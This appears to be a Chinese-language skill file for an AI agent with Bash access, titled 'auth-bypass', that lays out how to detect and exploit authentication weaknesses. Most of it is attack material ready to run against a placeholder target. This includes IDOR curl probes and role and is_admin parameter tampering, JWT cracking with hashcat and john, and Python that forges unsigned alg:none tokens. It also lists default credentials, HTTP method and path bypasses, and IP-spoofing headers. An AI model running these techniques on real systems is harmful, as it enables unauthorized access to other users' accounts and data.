| name | auth-bypass |
| description | 认证绕过漏洞检测与利用。当目标存在登录功能、权限控制、JWT/Session 认证时使用。包括 IDOR、越权访问等。 |
| allowed-tools | Bash, Read, Write |
认证绕过 (Authentication Bypass)
绕过应用程序的认证和授权机制,获取未授权访问。
常见指示器
- 登录/注册功能
- 用户 ID 参数(user_id=, uid=, id=)
- JWT Token
- Session Cookie
- 角色/权限参数(role=, is_admin=, level=)
- API 端点(/api/admin/, /api/user/)
检测方法
1. IDOR 测试
curl "http://target.com/api/user/1" -H "Cookie: session=xxx"
curl "http://target.com/api/user/2" -H "Cookie: session=xxx"
curl "http://target.com/api/order/1001" -H "Cookie: session=xxx"
curl "http://target.com/api/order/1002" -H "Cookie: session=xxx"
2. 权限参数测试
curl -X POST "http://target.com/api/profile" \
-H "Cookie: session=xxx" \
-d '{"name":"test","role":"admin"}'
curl -X POST "http://target.com/api/profile" \
-H "Cookie: session=xxx" \
-d '{"name":"test","is_admin":true}'
攻击向量
IDOR (不安全的直接对象引用)
/api/user/1 → /api/user/2
/api/order/1001 → /api/order/1002
/download?file=user1.pdf → /download?file=user2.pdf
/api/user/profile → /api/admin/users
/dashboard → /admin/dashboard
/api/user?id=1 → /api/user?id=1&id=2
/api/user?id[]=1 → /api/user?id[]=1&id[]=2
权限参数篡改
{"username":"test","role":"user"} → {"username":"test","role":"admin"}
{"username":"test","is_admin":false} → {"username":"test","is_admin":true}
{"username":"test","level":1} → {"username":"test","level":99}
{"username" →
JWT 攻击
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
Session 攻击
默认凭据
admin:admin
admin:password
admin:123456
root:root
root:toor
test:test
guest:guest
user:user
administrator:administrator
HTTP 方法绕过
curl -X GET "http://target.com/admin"
curl -X POST "http://target.com/admin"
curl -X PUT "http://target.com/admin"
curl -X DELETE "http://target.com/admin"
curl -X PATCH "http://target.com/admin"
curl -X OPTIONS "http://target.com/admin"
curl -X HEAD "http://target.com/admin"
curl -X POST "http://target.com/admin" -H "X-HTTP-Method-Override: PUT"
curl -X POST "http://target.com/admin" -H "X-Method-Override: PUT"
路径绕过
/admin → /Admin → /ADMIN
/admin → /./admin → /../admin/
/admin → /%61%64%6d%69%6e
/admin → //admin → /admin//
/admin → /admin.json → /admin.html
/admin → /admin?anything → /admin#anything
JWT 工具使用
jwt_tool
python3 jwt_tool.py <JWT>
python3 jwt_tool.py <JWT> -M at
python3 jwt_tool.py <JWT> -T
python3 jwt_tool.py <JWT> -C -d wordlist.txt
手动 JWT 操作
import base64
import json
def decode_jwt(token):
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
return header, payload
def encode_jwt_none(payload):
header = {"alg": "none", "typ": "JWT"}
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=')
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')
return f"{h.decode()}.{p.decode()}."
绕过技术
前端验证绕过
curl "http://target.com/api/admin/users" -H "Cookie: session=xxx"
IP 限制绕过
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Referer 检查绕过
Referer: http://target.com/admin
Referer: http://target.com/
Referer:
最佳实践
- 先枚举所有 API 端点和参数
- 测试 IDOR:修改 ID 参数访问其他用户数据
- 测试权限参数:添加 role、is_admin 等参数
- 分析 JWT/Session:尝试修改或伪造
- 尝试不同 HTTP 方法和路径变形
- 检查前端 JS 中的隐藏 API 和参数
- 使用 Burp 拦截并修改请求/响应